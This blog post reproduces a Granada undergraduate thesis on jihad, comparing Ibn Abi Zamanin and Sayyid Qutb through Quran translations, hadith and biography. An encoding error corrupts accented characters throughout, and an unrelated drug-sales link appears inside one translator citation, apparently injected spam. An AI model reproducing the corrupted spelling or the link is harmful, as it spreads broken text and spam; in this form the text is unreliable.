miércoles , abril 25 2018

El yihad de ayer y de hoy: Ibn Abi Zamanin y Sayyid Qutb

Es este un interesante anA?lisis sobre la concepciA?n del yihadA�desde el punto de vista de dos autores de A�pocas diferentes: Ibn Abi Zamanin y Sayyid Qutb.A�Se trata del Trabajo de Fin de Grado realizado por la alumna Bella MarA�a Palma GA?mez del Grado en Estudios A?rabes e IslA?micos en la Universidad de Granada.A�

 

  1. IntroducciA?n

Hemos elegido este tema por ser un tema de actualidad, aunque nosotros lo trataremos desde el punto de vista de dos autores de distintas A�pocas para ver quA� entiende cada uno del A�ihA?d y a travA�s de sus pensamientos ver cA?mo se ha desarrollado.

La historia del A�ihA?d empieza desde los tiempos del Profeta Mua??ammad contra los MequA�es hasta nuestros dA�as. En la actualidad, se ha convertido en uno de los temas mA?s comentados a raA�z de los ataques terroristas a nivel mundial y aunque hay mucha informaciA?n al respecto tenemos que tener cuidado con lo que se dice ya que no siempre es verdad lo que dicen los medios. Hay que mirar bien la informaciA?n consultada, hay gente que a la hora de escribir no contrasta debidamente y puede hacer escritos errA?neos y crear confusiA?n a los receptores, gente que escribe con una A�ndole claramente islamA?foba que crea confusiA?n y odio hacia el Islam solo basA?ndose en su pensamiento e ideas sin investigar para saber, y si lo hace, solo busca argumentos que apoyen sus teorA�as sin pararse a mirar el conjunto. Por eso, en este pequeA�o trabajo, intentaremos esclarecer en la medida de lo posible, el concepto de A�ihA?d, asA� como su definiciA?n en las fuentes del Islam, como el CorA?n y otras fuentes jurA�dico-religiosas y los puntos de vista que sobre A�l tienen estudiosos en la materia.

 

Objetivos

El objetivo del siguiente trabajo consiste en ver la evoluciA?n del A�ihA?d desde la Edad Media hasta nuestros dA�as mediante la comparaciA?n de dos autores: uno de la Edad Media, Ibn AbA� ZamanA�n y otro de la A�poca contemporA?nea, Sayyid Qua?�b. Perseguimos en esta investigaciA?n mediante la bibliografA�a, llegar al significado del A�ihA?d, en los albores del Islam, independientemente del que se le ha dado hoy dA�a a travA�s de los grupos terroristas. Con esto se pretende contrastar las opiniones de estos dos autores al respecto de su concepciA?n del A�ihA?d.

 

MetodologA�a

Para la realizaciA?n de este trabajo, hemos pensado estructurarlo en 7 capA�tulos esenciales. Los mA?s destacados son: el capA�tulo nA? 2 (TerminologA�a), el capA�tulo nA? 3 (Ibn AbA� ZamanA�n), el capA�tulo nA? 4 (Sayyid Qua?�b) y el capA�tulo nA?5 (ComparaciA?n de postulados).

En el capA�tulo nA? 2 intentamos facilitarle al lector el concepto de la palabra A�ihA?d, antes de proceder a establecer sus tipos y explicar quA� se entiende por cada uno de ellos para no tener trabas en el desarrollo de este trabajo, que tiene como eje central este complejo tA�rmino. Hay que decir que no nos basamos solo en estos dos autores para definir dicho tA�rmino, sino que incluimos opiniones de otros autores que juzgamos relevantes. En esta parte, se establecen varios versA�culos que hacen referencia al A�ihA?d y se centra en la traducciA?n corA?nica de tres arabistas: Julio CortA�s, Juan Vernet y Abdelghani Melara NavA�o.

En el capA�tulo nA? 3 empezamos a centrarnos en uno de los autores que constituyen el objeto de nuestro trabajo. En este sentido, queremos aclarar que preferimos establecer el orden cronolA?gico y, por tanto, empezar por el autor Ibn AbA� ZamanA�n.

De Ibn AbA� ZamanA�n, se habla de manera breve de su biografA�a y de una contextualizaciA?n de su A�poca, antes de dedicar un espacio para hablar de su obra de la que se citan algunos de los fragmentos mA?s importantes, a nuestro juicio.

Con respecto al segundo autor, Sayyid Qua?�b, nos limitamos a hablar, en el capA�tulo nA? 4, de los mismos puntos desarrollados en el caso del primer autor.

Llegados al capA�tulo nA? 5, el punto crA�tico de nuestro trabajo, intentamos comparar nuestros dos autores. En primer lugar, establecemos los puntos de encuentro con la intenciA?n de mostrar lo que tienen en comA?n. Esta coincidencia, tanto de formaciA?n como de pensamiento, es muy importante, puesto que nos ayuda a saber lo que une a dichos autores y lo que influye, quizA?s, en su modo de pensar. En segundo lugar, establecemos las diferencias de pensamiento mA?s relevantes, a nuestro entender, una por una. El establecimiento de estas divergencias, nos permite ver, con claridad, la postura que tiene cada autor con respecto al otro y estar en medida de establecer una comparaciA?n basA?ndonos en las informaciones anteriormente establecidas.

  1. TerminologA�a

Antes de definir el concepto del A�ihA?d, nos gustarA�a destacar que dicho tA�rmino tiene dos acepciones: el A�ihA?d mayor y el A�ihA?d menor.

Se entiende el a�?A�ihA?d mayora�? como el esfuerzo que hace el musulmA?n por no cometer pecados e intentar ser un modelo a seguir. Este esfuerzo se le llama tambiA�n a�?la lucha interiora�? que se hace de manera individual y se considera el mA?s complicado de realizar respecto al a�?A�ihA?d menora�?.[1]

En cuanto al a�?A�ihA?d menora�?, se define como el esfuerzo que se hace para difundir el islam ya sea en forma de predicaciA?n o por medio de las armas.[2]

Como vemos, el A�ihA?d se contempla en su mayorA�a como a�?esfuerzoa�? y esto es compartido por la mayorA�a de los estudiosos consultados.

Es un tA�rmino del que realmente se estA? abusando al relacionarlo con el concepto de a�?guerra santaa�? pudiendo hacer que personas que no investiguen o no estA�n estudiando algo relacionado con el mundo A?rabe solo vean esta parte del significado y nada mA?s.

Es un tA�rmino que solo se relaciona al mundo A?rabe como menciona Alejandro GarcA�a SanjuA?n (2009: 244) en su artA�culo Bases doctrinales y jurA�dicas del yihad en el derecho islA?mico clA?sico (siglos VIII-XIII), y tambiA�n menciona este autor como en el DRAE cuando uno busca la palabra a�?yihada�? aparece solo una acepciA?n: a�?guerra santa de los musulmanesa�?[3].A� Esta interpretaciA?n, como se ha mencionado anteriormente, contribuye a la divulgaciA?n errA?nea de la concepciA?n de este tA�rmino.

Sin embargo, el esfuerzo hecho por el musulmA?n se puede aplicar a cualquier tarea que lleva a cabo: rezar, ayunar, abstenerse de los pecados y de hacerle daA�o a nadie, cuidar de los vecinos, querer el bien para todos, etc., y no se limita solo a la vocaciA?n de intentar extender el Islam da igual si es por medios pacA�ficos o violentos.

Cabe decir que los A?ia��A�es son los A?nicos, en el mundo musulmA?n, que tienen el A�ihA?d como 6A? pilar del Islam[4], mientras que los sunnA�es y las demA?s ramas solo tienen los cinco pilares conocidos[5], otorgA?ndole asA� al A�ihA?d una gran importancia.

  • El A�ihA?d en el CorA?n

Esta parte quizA?s sea un poco mA?s larga en esta fase introductoria, antes de pasar a hablar de los autores en cuestiA?n, pero creemos que es importante ya que el CorA?n es una de las fuentes principales en la que se basa la legislaciA?n o la normativa jurA�dico-religiosa.

De las 114 suras que componen el CorA?n las suras que hacen referencia al A�ihA?d o a la guerra son unas pocas, concretamente las suras 2, 3, 4, 5, 8, 9, 16, 22, 25, 29, 47, 48, 49, 59, 61, 66. SegA?n GarcA�a SanjuA?n[6] el CorA?n contiene 6.236 aleyas de las cuales 95 se refieren a actos violentos.

En aras de la objetividad queremos seA�alar que hay que tener en cuenta la importancia que tiene la traducciA?n y el papel que desempeA�a a la hora de describir una aleya como violenta o no. Aunque algunos de los tres traductores del CorA?n, en que nos hemos basado, dan un matiz violento a algunas aleyas, otros suavizan los tA�rminos utilizados.

A continuaciA?n, vamos a exponer algunas aleyas del CorA?n referentes al A�ihA?d, concretamente la Sura 2, aleyas 190-195 y la Sura 9, aleyas 5 y 111; mediante tres traducciones al espaA�ol: la de Julio CortA�s, la de Juan Vernet y la de Abdelghani Melara NavA�o. Aparte, se verA? brevemente quA� se dice de dichas aleyas en uno de los Comentarios del CorA?n (o TafsA�r).

Sura 2 aleya 190-195

Julio CortA�s:

190-Combatid por Dios contra quienes combatan contra vosotros, pero no os excedA?is. Dios no ama a los que se exceden.

191-Matadlos donde deis con ellos, y expulsadlos de donde os hayan expulsado. Tentar es mA?s grave que matar. No combatA?is contra ellos junto a la Mezquita Sagrada, a no ser que os ataquen allA�. AsA� que, si combaten contra vosotros, matadlos: esa es la retribuciA?n de los infieles.

192-Pero si cesan, Dios es indulgente, misericordioso.

193-Combatid contra ellos hasta que dejen de induciros a apostatar y se rinda culto a Dios. Si cesan, no haya mA?s hostilidades que contra los impA�os.

194-El mes sagrado por el mes sagrado. Las cosas sagradas caen bajo la ley del taliA?n. Si alguien os agrediera, agredidle en la medida que os agrediA?. Temed a Dios y sabed que A�l estA? con los que Le temen.

195-Gastad por la causa de Dios y no os entreguA�is a la perdiciA?n.

Haced el bien. Dios ama a quienes hacen el bien.[7]

Juan Vernet (186-191):

186-Combatid en el camino de Dios a quienes os combaten, pero no seA?is los agresores. Dios no ama a los agresores.

187-A?Matadlos donde los encontrA�is, expulsadlos de donde os expulsaron! La idolatrA�a es peor que el homicidio: no los combatA?is junto a la Mezquita Sagrada hasta que os hayan combatido en ella. Si os combaten, matadlos: esa es la recompensa de los infieles.

188-Si dejan la idolatrA�a, ciertamente, Dios serA? indulgente, misericordioso.

189-Matadlos hasta que la idolatrA�a no exista y estA� en su lugar la religiA?n de Dios.

Si ellos ponen fin a la idolatrA�a, no mA?s hostilidad si no es contra los injustos.

190-A?El mes sagrado por el mes sagrado! Las cosas sagradas son taliA?n. A quien os ataque, atacadle de la misma manera que os haya atacado. A?Temed a Dios y sabed que Dios estA? con los temerosos;

191-Gastad en la senda de Dios y no os precipitA�is con vuestras manos hacia el aniquilamiento. Haced bien: Dios ama a los benefactores. [8]

Abdelghani Melara NavA�o: http://fandi.mhs.narotama.ac.id/2018/03/15/remeron-sales/

190-Y combatid en el camino de Allah a quienes os combatan a vosotros pero no os propasA�is; es cierto que Allah no ama a los que se exceden.

191-Matadlos donde quiera que los encontrA�is y expulsadlos de donde os hayan expulsado.

La oposiciA?n (a vuestra creencia) es mA?s grave que matar.

No luchA�is con ellos junto a la a�?Mezquita Inviolablea�? si ellos no lo hacen, pero si os atacan, matadlos; A�sta es la recompensa de los incrA�dulos.

192-Y si cesana��Allah es Perdonador y Compasivo.

193-Luchad contra ellos hasta que no haya mA?s oposiciA?n y la AdoraciA?n debida sea sA?lo para Allah.

Pero si cesan, que no haya entonces hostilidad excepto contra los injustos.

194-Mes inviolable por mes inviolable.

Para todo lo inviolable deberA? aplicarse el taliA?n.

Y quien se exceda con vosotros, obrad con A�l en la misma medida.

Guardaos de Allah y sabed que Allah estA? con los que Le temen.

195-Gastad en el camino de Allah; que vuestras manos no os echen a perder llevA?ndoos a la perdiciA?n, y haced el bien.

Es verdad que Allah ama a los que hacen el bien.[9]

En la obra Al-Montajab a�?La selecciA?na�? en la interpretaciA?n del Sagrado Qura��an ediciA?n bilingA?e publicado en El Cairo, vemos el comentario que se hace acerca de estas aleyas:

190-Es parte del permanente recuerdo de la presencia de Dios, el soportar y sobrellevar los sacrificios que exige obedecerle y el sacrificio mA?s penoso para el alma es luchar contra los enemigos de Dios, pero, si se os agrede, combatid a vuestros agresores. TenA�is permiso para rechazar con las armas sus agresiones, mA?s no os convirtA?is en agresores, comenzando vosotros la lucha o matando a quien no interviene en vuestra contra, el cual no ha tomado partido en ninguno de ambos bandos. Dios no ama a los agresores.

191-Y matad a quienes os atacan buscando vuestra muerte, en donde los hallA�is, y expulsadlos de Meca, vuestra cuidad y patria de la cual os obligaron a salir, y no tengA?is escrA?pulos en actuar asA�, pues ellos han cometido acciones peores que el matar en la Mezquita Sagrada, tratando de introducir la confusiA?n y la tentaciA?n en los sinceros creyentes para que renegasen del Islam por medio de la tortura, y ello en La Meca, hasta que se vieron obligados a huir con su religiA?n y fe de su propia patria. Recordad que la Mezquita Sagrada posee sacralidad. No violA�is su sacralidad, a menos que ellos la violen atacA?ndoos en su recinto. Si os combaten allA�, matadles y sabed que los vencerA�is con el apoyo de Dios. Tal es el castigo de los incrA�dulos: se les hace lo que ellos hacen con otros seres.

192-Mas si renuncian a su incredulidad y abrazan el Islam, el Islam redime de los actos anteriores y Dios perdonarA? las consecuencias de su incredulidad, por generosidad y misericordia.

193-Combatid a estos que intentaron mataros e impediros practicar vuestra religiA?n por medio del daA�o y la tortura, hasta que sean arrancadas las raA�ces de la discordia y la falsedad y hasta que la religiA?n y la fe sean para Dios. AsA�, si abandonan su incredulidad habrA?n salvado sus almas y evitado el castigo y no corresponderA? atacarlos en esos momentos; mas debA�is atacar a quien oprime su propia alma y la introduce en los pecados y rebeldA�as, y transgrede toda justicia y equilibrio de hecho y de palabra con sus actitudes.

194-Si os agreden durante el mes de sacra prohibiciA?n de toda lucha, n renunciA�is a combatirlos durante su curso, pues, asA� como es de sacra prohibiciA?n para vosotros lo es para ellos, y si ellos violan la sacralidad que vosotros respetA?is, enfrentadlos y responded en defensa de vuestras vidas. En la legislaciA?n que os dimos respecto a las prohibiciones sacras y a las cosas y lugares santos, fijamos la de la compensaciA?n equivalente y la respuesta en correspondencia y similitud. Por tanto quien os agreda en lo que para vosotros en Sagrado, rechazad tal agresiA?n con una agresiA?n equivalente, pero temiendo y recordando a Dios. No os excedA?is en el castigo y el Qisas y sabed que Dios es sostA�n de los piadosos.

195-El esfuerzo y combate contra los incrA�dulos comprende el hacerlo ofreciendo la vida, como asimismo ofreciendo los propios bienes. Usad vuestra hacienda en los preparativos y elementos necesarios para el combate y sabed que combatir a estos incrA�dulos es combatir por la causa y en el sendero de Dios. Por tanto, no dejA�is de participar y luchar y gastar bienes y posesiones en tal combate, pues si renunciA?is a la acciA?n y os mostrA?is avaros, os dominarA? vuestro enemigo y os humillarA? y serA? cual si os hubierais entregado por vuestra propia mano a la extinciA?n. Realizad lo que es de vuestro deber realizar con bondad, dedicaciA?n y esmero, pues Dios desea que las obras y acciones que realicA�is sean hechas a la perfecciA?n.[10]

Sura 9 aleya 5.

Esta aleya es la abrogaciA?n de la aleya 190 de la Sura 2.

Julio CortA�s:

Cuando hayan transcurrido los meses sagrados, matad a los asociadores dondequiera que los encontrA�is. A?Capturadlos! A?Sitiadlos! A?Tendedles emboscadas por todas partes! Pero si se arrepienten, hacen la azalA? y dan el azaque, entonces A?dejadlos en paz! Dios es indulgente, misericordioso.[11]

Juan Vernet:

Cuando terminen los meses sagrados, matad a los asociadores donde los encontrA�is. A?Cogedlos!, A?sitiadlos! A?Preparadles toda clase de emboscadas! Si se arrepienten, cumplen la plegaria y dan la limosna, en ese caso dejad libre su senda: Dios es indulgente, misericordioso.[12]

 

Abdelghani Melara NavA�o:

y cuando hayan pasado los meses inviolables, matad a los asociadores donde quiera que los hallA�is.

Capturadlos, sitiadlos y tendedles toda clase de emboscadas, pero si se retractan, establecen el salat y entregan el zakat, dejad que sigan su camino.

Verdaderamente Allah es Perdonador y Compasivo.[13]

Montajab:

Cuando termine el plazo de la seguridad proclamada de cuatro meses, combatid a los idolatras que violan sus compromisos; doquiera los hallA�is apresadles rigurosamente; acorraladles cerrA?ndoles todos los caminos y acechadles en todas partes, mas si se arrepientan de su incredulidad y observan los preceptos del Islam, celebrando la oraciA?n y pagando el Zakat, entonces no tenA�is ninguna autoridad para ir contra de ellos, porque habrA?n abrazado la religiA?n de Dios. A?Y A�l es IndulgentA�simo con los que se arrepienten, MisericordiosA�simo para con sus siervos![14]

Como vemos, en el Montajab, no se dice en ningA?n momento que haya que matarles solo dice de asediarles y tanto en las traducciones como en el Montajab, el ataque o asedio se da tras un perA�odo de espera tras haberlos invitado a convertirse al Islam.

Sura 9 aleya 111.

Julio CortA�s:

Dios ha comprado a los creyentes sus personas y su hacienda, ofreciA�ndoles, a cambio, el JardA�n. Combaten por Dios: matan o les matan. Es una promesa que Le obliga, verdad, contenida en la Tora, en el Evangelio y en el CorA?n. Y A?quiA�n respeta mejor su alianza que Dios? A?Regocijaos por el trato que habA�is cerrado con A�l! A?A�se es el A�xito grandioso![15]

Juan Vernet (112):

Dios ha comprado a los creyentes sus almas y riquezas, porque les pertenece el ParaA�so: Combaten en le senda de Dios y matan o son muertos. A?Es una promesa de A�l! A?Es un derecho que figura inscrito en el Pentateuco, en el Evangelio y en el CorA?n! A?QuiA�n es mA?s fiel que Dios a su pacto? A?Alegraos por el contrato que con A�l habA�is concluido! A?A�se es el A�xito mayor![16]

Abdelghani Melara NavA�o:

Es cierto que Allah les ha comprado a los creyentes sus personas y bienes a cambio de tener el JardA�n; combaten en el camino de Allah, matan y mueren.

Es una promesa verdadera que El asumiA? en la TorA?, en el Inyil y en el CorA?n.

A?Y quiA�n cumple su pacto mejor que Allah?

AsA� pues regocijaos por el pacto que habA�is estipulado.

Este es el gran triunfo.[17]

Montajab:

Dios afirma-en esta aleya- que A�l adquiere de los creyentes sus personas y sus bienes, a cambio del ParaA�so, como precio de su sacrificio, combatiendo en aras de Su senda, matando a los enemigos de Dios o logrando el beneficio del martirio; tal promesa estA? estipulada en la Tora y en el Evangelio como lo estipulo en el Qura��an A?Y quiA�n es mA?s cumplidor que Dios? A?Regocijaos pues, combatientes creyentes, del intercambio en el cual sacrificasteis vuestras personas y vuestros bienes a cambio del ParaA�so! Esta compraventa (consagraciA?n total) es, sin duda, el supremo triunfo para vosotros.[18]

Hemos escogido esta aleya, pese al carA?cter bA�lico que tiene, al ver que nombra que estableciA? el A�ihA?d en los libros anteriormente revelados, para mostrar que el A�ihA?d no solo se da en el CorA?n si no que se habA�a dado anteriormente.

  • El A�ihA?d en otras fuentes jurA�dico-religiosas.

Los hadices, al ser la segunda fuente en la que se basa el Islam, adquieren tambiA�n una importancia en este trabajo. Aunque hay bastantes recopiladores de hadices, nos centraremos en los dos de mayor relevancia como son al-BuhA?rA� y al-Muslim.

Ambos autores en sus recopilaciones tienen un KitA?b al-A�ihA?d, y de ahA� escogeremos solo algunos ejemplos para ver cA?mo se trata este tema.

Hemos encontrado traducciones al espaA�ol de ambos, pero estA?n estructurados de diferente manera: mientras el a??aa??A�a?? al-Muslim se subdivide en apartados dependiendo de la situaciA?n al que se dirige el A�ihA?d, el a??aa??A�a?? al-BuhA?rA� no hace distinciA?n haciendo una recopilaciA?n de todos, uno tras otro sin especificar.

En el a??aa??A�a?? al-Muslim encontramos:

(4297) AbA� MA�sa relatA?: a�?Cuando el Mensajero de Allah (B y P) enviaba a alguno de sus CompaA�eros en una misiA?n les decA�a: a�?Dadles buenas nuevas (a la gente) y no creA�is aversiA?n. Y sed indulgentes y no seA?is severos (facilitad y no dificultA�is)a�? a�?.[19]

En otro libro consultado, tambiA�n se da otro dicho de Muslim:

Muslim cuenta:

a�?Abu Saaid al-Jodri- que Dios estA� satisfecho de A�l- dijo que habA�a oA�do al Enviado de Dios -para A�l la bendiciA?n y la salvaciA?n- decir:

a�?Si uno de vosotros ve algo que disgusta a Dios, que lo combata con sus manos; si no es posible, que sea con la lengua, y si tampoco es posible, que lo sea con el corazA?n; es lo mA�nimo que impone la fe[20].

En el a??aa??A�a?? al-BuhA?rA� vemos:

1205.- De Abu Saa��id al-Judri, que Allah estA� complacido con A�l, que dijo: a�?Le dijeron al Mensajero de Allah: a�?A?QuiA�n es el mejor de la gente?a�? Y dijo el Mensajero de Allah, al que Allah de dA� Su gracia y paz: a�?Un creyente que lucha en el camino de Allah con su persona y sus bienesa�?. Dijeron: a�?A?Y luego quiA�n?a�? Dijo: a�?Un creyente (apartado) en una caA�ada que teme a Allah y deja a la gente (a salvo) de su daA�oa�?a�?.

1207.- Y de Abu Huraira tambiA�n, que Allah estA� complacido con A�l, que dijo: a�?El Mensajero de Allah, al que Allah le dA� Su gracia y paz, dijo: a�?Quien cree en Allah y en Su Mensajero, establece (cumple con regularidad y correcciA?n) el salat y ayuna ramadA?n, es un deber para Allah (que A�l mismo Se impone) hacerle entrar en el JardA�n, tanto si ha luchado en el camino de Allah como si se ha quedado sentado (sin luchar ni esforzarse por mA?s) en la tierra en la que naciA?a�?. Y dijeron: a�?A?Mensajero de Allah!, A?debemos dar estas buenas noticias a la gente?a�? Dijo:a�?En el JardA�n hay cien grados que ha Allah ha preparado para los que luchan en el camino de Allah, entre un grado y el siguiente hay lo que entre el cielo y la Tierra; asA� pues si le pedA�s a Allah, pedidle el Firdaus, en el mismA�simo centro del JardA�n, en la parte mA?s alta del JardA�na�? -y parece que dijo:a�?a��encima del Trono del Misericordioso, de donde salen los rA�os del JardA�na�?–a�?.[21]

Aunque no se puede discutir el carA?cter bA�lico en la mayorA�a de hadices, tambiA�n se muestra que quien no hace el A�ihA?d menor pero cumple con los pilares del Islam va tambiA�n al ParaA�so. TambiA�n se hace referencia a cuatro tipos de A�ihA?d aparte del denominado a�?mayora�? o a�?menora�? y presente en la obra RisA?la de Ibn AbA� Zayd al-QayrawA?nA� (922-996) los cuales se dan mediante la lengua, el corazA?n, la mano y la espada.[22]

Ahora pasaremos a la cuestiA?n central del trabajo: los dos autores a comparar, hemos visto a la hora de buscar informaciA?n sobre ambos una gran disparidad. Mientras que de Sayyid Qua?�b hemos encontrado infinidad de manuales, artA�culos, etc, de Ibn AbA� ZamanA�n nos ha sido mA?s difA�cil recopilar informaciA?n.

  1. Ibn AbA� ZamanA�n

3.1. BiografA�aA�

A�Su nombre completo era AbA� a�?Abd AllA?h Mua??ammad b. a�?Abd AllA?h b. a�?A?sA� b.A� Mua??ammad b. IbrA?hA�m al-MurrA� al-IlbA�rA�, mA?s conocido como Ibn AbA� ZamanA�n o Zamanayn. NaciA? en el 936 en IlbA�ra (Granada), miembro de una larga familia de juristas con profundas convicciones religiosas. Se dice que su familia, los BanA� ZamanA�n, eran de origen bereber y que provenA�an de Nafza.

EmpezA? desde muy temprano a estudiar los hadices, el CorA?n y el Derecho. EstudiA? en Pechina y en CA?rdoba.

Estuvo influenciado por obras como el Mujtaa??ar de a�?Abd al-a??akA?m, la Muwaa?�a?�aa�� de MA?lik, la Mudawwana de Ibn al-Qasim, la a�?Utbiyya de al-a�?UtbA� o la obra al-Wadia??a de Ibn a??abA�b. Fue jurista, polA�grafo y poeta.

EscribiA? un total de 13 obras de temA?tica variada:

  • Obras jurA�dicas:
  • KitA?b al-Mugrib fA� ijtia??A?r al-Mudawwana (Libro de la excelencia sobre el compendio de la Mudawwana).
  • MuA?tamal fA� ua??A�l al-WatA?a�?iq (Conjunto sobre el fundamento de las escrituras).
  • Muhaa??a??ab fA� tafsA�r al- Muwaa?�a?�aa�� (RectificaciA?n eminente en el comentario de la Muwaa?�a?�aa��) o Ijtia??A?r sara?? Ibn Muzayn lA�-l- Muwaa?�a?�aa�� (Resumen del comentario de Ibn Muzayn sobre la Muwaa?�a?�aa��).
  • Muntajab al-Aa??kA?m (Sentencias escogidas).
  • Obras ascA�ticas:
  • HayA?t al-QulA�b (Vida de los corazones).
  • Uns al-murA�dA�n (Familiaridad de los iniciados).
  • KitA?b al-MuwA?a�?iz al-Mana?�A�ma.
  • Obras religiosas:
  • Mujtaa??ar tafsA�r Ibn SalA?m lA�-l-Qura�?A?n (Resumen del comentario de Yaa??yA� b. SalA?m sobre el CorA?n).
  • KitA?b ua??A�l al-Sunna (Libro sobre los fundamentos de la Sunna).
  • KitA?b Muntajab al-Dua�?A? (SelecciA?n de exhortaciones piadosas).
  • Al-Naa??A?a��ia?? al- Mana?�A�ma (Consejos en verso).
  • KitA?b adA?b al-IslA?m (La literatura del Islam).
  • Obras bA�licas:
  • QudwA?t al-GA?zA� (Modelo del Combatiente). Esta obra la analizaremos tras el contexto histA?rico.[23]

 

3.2. Contexto histA?rico

Su vida data en dos momentos importantes en la historia de al-A?ndalus:

  • El auge del Califato de CA?rdoba.

Aunque viviA? casi media vida bajo el gobierno de a�?Abd al-Raa??mA?n III (912-961), que su gobierno se considera el mA?s pacifista del Califato Omeya, Ibn AbA� ZamanA�n tuvo mA?s producciA?n literaria bajo el de al-a?�akA?m II (961-976), el cual fue mecena de la escuela de Derecho MA?likA�, las artes y las letras, las ciencias y la teologA�a.

  • El gobierno de Almanzor.

El sucesor de al-a?�akA?m II, HiA?A?m II (976-1013), era muy joven para ocupar el trono, asA� que Almanzor gobernA? en calidad de regente hasta que tuviera la edad suficiente, su mandato se dio desde 981 a 1002[24].

 

3.3. QudwA?t al-GA?zA� (Modelo del combatiente)

SegA?n Asma Afsaruddin[25] esta obra es un trabajo hA�brido entre faa??A?a�?A�l y Aa??kA?m que al parecer era normal en esta A�poca, esta autora se centra en el faa??A?a�?A�l al-A�ihA?d (las virtudes del A�ihA?d) donde hay hadices que exaltan los mA�ritos del A�ihA?d combativo y del martirio.

De esta obra existen dos ediciones[26]:

Una de R. Weschel, Das Buch a�?Qidwat al-gA?zA�a�?. Ein beitrag zur Geschichte der C�ihA?d literatur en Bonn en el aA�o 1970. Estudio y traducciA?n. Y otra posterior: Ibn AbA� ZamanA�n, kitA?b QudwA?t al-GA?zA�, ed. CrA�tica con notas y estudio por A. SulaymA?nA� en Beirut en el aA�o 1989. De esta obra se conserva un manuscrito en la Biblioteca Nacional de Madrid, de 34 hojas con 12 lA�neas a doble cara.

SegA?n Arcas Campoy, la obra se divide en 24 capA�tulos, pero a la hora de citarlos solo cita 23, pasando del 14 al 16[27], no sabemos si es un lapsus de la autora o que no se da

dicho capA�tulo. Pero hay que decir que, segA?n la ediciA?n consultada en A?rabe[28], se dice que la obra consta de 23 capA�tulos, lo cual nos plantea la duda.

SegA?n MarA�a Arcas Campoy[29], se cree que esta obra pudo ser escrita en los A?ltimos aA�os de vida del autor, basA?ndose en MA?lik b. Anas. Cita normas dadas en el CorA?n, los hadices y las opiniones de sabios y juristas mA?likA�es.

En la denominada a�?guerra santaa�? tambiA�n hay una parte espiritual llamada a�?ibA?dA?t, que tiene un lugar importante dentro de la parte bA�lica. Esta parte es la que verdaderamente mostrarA? la intenciA?n del combatiente. Entonces se ve claramente que se dan al mismo tiempo lo material y lo espiritual.

Para poder combatir, el combatiente debe ser como mA�nimo, adolescente, el cual debe tener dinero para los gastos, como dice Ibn a?�abA�b a�?Si es rico, que combata con lo que tiene, y, si es pobre, que se quede sentado en su casaa�?[30] y debe tener saldadas sus deudas, salvo si va a combatir para pagar dichas deudas[31]; debe obtener el permiso paterno, para poder evitar su sufrimiento.

Todos los juristas coinciden que solo podrA?n saltarse estas normas en el caso de que la ciudad sufra un ataque sorpresa.

Arcas Campoy apunta:

Todo combatiente ha de observar con rigor seis preceptos:

  • Sinceridad de intenciA?n (niyya)
  • Obediencia al imA?m
  • No cometer fraude (gulA�l)
  • Respetar el amA?m o salvaguardia otorgada
  • Firmeza en el avance militar
  • Mantenerse alejado de la corrupciA?n (fasA?d)

El incumplimiento de uno o varios de estos preceptos supone una gravA�sima falta para el combatiente, hasta el punto de serle negada la entrada en el ParaA�so, pues tal conducta le conduce, con toda seguridad a los tormentos del infierno (A�ahannam).[32]

 

Ibn ZamanA�n nombra un hadiz que anteriormente se ha visto en el apartado del El A�ihA?d en los hadices. Define el A�ihA?d desde el punto de vista lingA?A�stico como la energA�a de uno que hace a la hora de esforzarse, puesto que deriva de la raA�z A�hd a�?esforzarsea�?. Desde el punto de vista religioso, se entiende como la lucha contra los incrA�dulos o infieles para hacer vencer la palabra de Dios.

Etapas de regularizaciA?n y obligaciA?n del A�ihA?d:

  1. Primera etapa: Meca

El Profeta con sus seguidores, que, al ser minoritarios, los habitantes de Meca los molestaban y ellos no podA�an defenderse. Se le ordenA? hablar con tranquilidad y de manera humilde con la gente.

  1. Segunda etapa: Medina

Cuando ya habA�an sufrido agresiones de los MequA�es, se les ha permitido a los musulmanes inmigrar a EtiopA�a, donde gobernaba un rey justo para ser protegidos de las agresiones de QurayA? y esperar tambiA�n hasta que se incrementara su nA?mero. Esta etapa se puede subdividir en tres partes:

  • Permiso de combatir sin ser obligaciA?n

En esta parte, los musulmanes obtuvieron el permiso para poder combatir, defenderse por la fuerza, pero en esta etapa no es obligatorio. El siguiente versA�culo aclara con detalle dicha A�poca: 22: 38-40[33]

  • La obligaciA?n de combatir a los que agreden a los musulmanes

Se da la obligaciA?n de declarar la guerra a los que por su parte declaran la guerra a los musulmanes. AquA� vemos nuevamente algo que se ha visto con anterioridad como es la aleya 2:190[34].

  • La obligaciA?n de combatir para que venza la palabra de Dios

DeclaraciA?n de guerra para que la palabra de Dios venza. Los musulmanes estA?n obligados a luchar contra los infieles para divulgar la palabra de Dios. 9:1-7, 29 nuevamente se repite otra aleya entre estas vistas con anterioridad como es la aleya 9:5.[35]

A partir de ahA�, los musulmanes estaban obligados a luchar con todos los seres en la Tierra hasta que abracen el Islam o paguen impuestos.

 

SegA?n el editor de esta ediciA?n:

  • MetodologA�a que ha usado Ibn AbA� ZamanA�n en su libro

Detalla en la introducciA?n los motivos que le hicieron optar por este tema y la metodologA�a que utiliza donde cita varios versA�culos que instan al A�ihA?d.

Suele contentarse con citar los versA�culos y hadices que tienen por temA?tica el A�ihA?d sin entrar en detalles y cita tambiA�n la opiniA?n de otros eruditos.

En este sentido, se divide en 23 capA�tulos, en cada uno hay un versA�culo del CorA?n o un hadiz y en el primer y segundo capA�tulo empieza con la palabra capA�tulo entre comillas, mientras que en otros empieza a redactar sin poner la palabra capA�tulo.

Toma como referencia la explicaciA?n o comentario del CorA?n de los seguidores del Profeta como a�?Abd al-Raa??mA?n Ibn Zayd. De los hadices que cita, no ha sido riguroso al citarlos ya que algunos son dA�biles.[36]

  • Los inconvenientes del libro de Ibn AbA� ZamanA�n
  1. Ibn AbA� ZamanA�n cuando cita el nombre del Profeta no aplica la bendiciA?n que se suele aplicar tras A�l.
  2. No habla de CompaA�eros del Profeta muy conocidos a la hora de citar las fuentes religiosas.
  3. Se contenta con lo que dicen los eruditos sin citar el versA�culo o el hadiz aunque son explA�citos.
  4. Algunos de los hadices que cita son dA�biles.
  5. No citaba bien las fuentes de las que cogA�a el conocimiento que ponA�a en su libro.[37]

 

  • Fuentes utilizadas por Ibn AbA� ZamanA�n:
  1. El CorA?n.
  2. La Sunna.
  3. Los dichos de los CompaA�eros del Profeta, como Umar y a�?AlA�.
  4. Los dichos de los seguidores.
  5. Fuentes del Derecho MA?likA� como el Mudawwana o el Wadia??a.[38]

 

  • Valor del libro

